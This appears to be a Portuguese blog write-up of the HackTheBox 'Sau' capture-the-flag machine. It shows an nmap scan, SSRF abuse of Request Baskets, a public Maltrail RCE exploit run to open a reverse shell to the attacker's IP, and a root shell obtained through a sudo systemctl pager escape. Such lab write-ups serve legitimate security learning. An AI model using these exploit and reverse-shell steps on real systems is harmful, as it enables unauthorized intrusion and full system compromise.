Post

HackTheBox - Saul - Fácil

logo


CTF - Sau



Enumeração

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali💀kali)-[~/HTB/sau]
└─$ sudo nmap -sS -Pn --stats-every=7s --min-rate 10000 -oA nmap 10.10.11.224 -sV -sC --script "default and vuln"  -p 22,80,8338,55555
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-20 01:09 -03
Nmap scan report for 10.10.11.224
Host is up (0.14s latency).

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sat, 20 Jan 2024 04:10:08 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Sat, 20 Jan 2024 04:09:39 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Sat, 20 Jan 2024 04:09:39 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.35 seconds

Uma aplicação web rodando na porta 55555

Request Baskets

http://10.10.11.224:55555/

https://github.com/darklynx/request-baskets

Alt text

Request Baskets é um serviço web que permite coletar e inspecionar solicitações HTTP por meio de uma API ou interface web. Pode ser usado para depurar solicitações

Buscando pela versão achamos o CVE-2023-27163
Vulnerabilidade de SSRF (Server-Side-Request-Forgery)

https://github.com/rvizx/CVE-2023-27163

Testando se a vulnerabilidade funciona.

Clique no botão create

Clique na engrenagem na proxima pagina, adicione IP de sua maquina. Alt text

List o netcat na porta 80

nc -lvnp 80

use o curl com a url gerada

curl http://10.10.11.224:55555/tit4njm

Você deve receber um request no netcat do ip do request basket.

1
2
3
4
5
6
7
8
9
10
┌──(kali💀kali)-[~/HTB/sau]
└─$ nc -lvnp 80  
listening on [any] 80 ...
connect to [10.10.14.26] from (UNKNOWN) [10.10.11.224] 48996
GET / HTTP/1.1
Host: 10.10.14.26
User-Agent: curl/8.5.0
Accept: */*
X-Do-Not-Forward: 1
Accept-Encoding: gzip

Teste ok

Acesso

Editando a basket vou adicionar o endereço http://127.0.0.1:80 para o basket acessar aquela porta filtrada por firewall como mostra no nmap, como ela esta na mesma máquina n deve ter problemas com o firewall.

Vamos marcar a opção Proxy Response, para ele funcionar como um proxy. Expand Foward Path, vai nos trazer todo path da url para o nosso endereço quando acessar. Alt text

Basta acessar o endereço basket agora no nosso navegador

Temos esse MailServer rodando na porta 80 Alt text

Buscando no google por Maltrail (v0.53) encontramos vulnerabilidade de RCE para esta versão

Encontrei esse exploit https://github.com/spookier/Maltrail-v0.53-Exploit Vamos usá-lo.

Reverse Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali💀kali)-[~/HTB/sau]
└─$ git clone https://github.com/spookier/Maltrail-v0.53-Exploit.git
Cloning into 'Maltrail-v0.53-Exploit'...
remote: Enumerating objects: 17, done.
remote: Counting objects: 100% (17/17), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 17 (delta 4), reused 9 (delta 3), pack-reused 0
Receiving objects: 100% (17/17), 4.44 KiB | 216.00 KiB/s, done.
Resolving deltas: 100% (4/4), done.
┌──(kali💀kali)-[~/HTB/sau]
└─$ ls
Maltrail-v0.53-Exploit  nmap.gnmap  nmap.nmap  nmap.xml
┌──(kali💀kali)-[~/HTB/sau]
└─$ cd Maltrail-v0.53-Exploit              
┌──(kali💀kali)-[~/HTB/sau/Maltrail-v0.53-Exploit]
└─$ ls
exploit.py  README.md
┌──(kali💀kali)-[~/HTB/sau/Maltrail-v0.53-Exploit]
└─$ chmod +x exploit.py      

Para usar, o exemplo -> python3 exploit.py 1.2.3.4 1337 http://example.com

Antes list o netcat nc -lvnp 4443

1
2
3
4
┌──(kali💀kali)-[~/HTB/sau/Maltrail-v0.53-Exploit]
└─$ python3 exploit.py 10.10.14.26 4443 http://10.10.11.224:55555/tit4njm          
Running exploit on http://10.10.11.224:55555/tit4njm/login

Alt text

Primeira Flag

Alt text

Escalação de Privilégio

1
2
3
4
5
6
7
8
9
10
11
puma@sau:/home$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:/home$ /usr/bin/systemctl --version
systemd 245 (245.4-4ubuntu3.22)
+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
Podemos executar sudo apenas no comando /usr/bin/systemctl status trail.service

Nosso sudo é limitado a usar apenas em /usr/bin/systemctl status trail.service e sem senha. Pesquisando pela versão do systemd (245 ) encontramos sobre o CVE-2023-26604, onde aqui explica sobre.

sudo /usr/bin/systemctl status trail.service

Quando der um prompt de rolagem de pagina apenas digite
!/bin/bash

Recebendo uma shell root =]

Alt text Alt text

Conhecimento adquiridos

  • escalação de privilegio com systemctl
  • Todos CVE das aplicações
  • Sobre existencia do request basket e maltrail

No youtube tem um “passo a passo” com ippsec, vale a pena conferir e ver forma alternativa e bem explicada.

Alt text

Esta postagem está licenciada sob CC BY 4.0 pelo autor.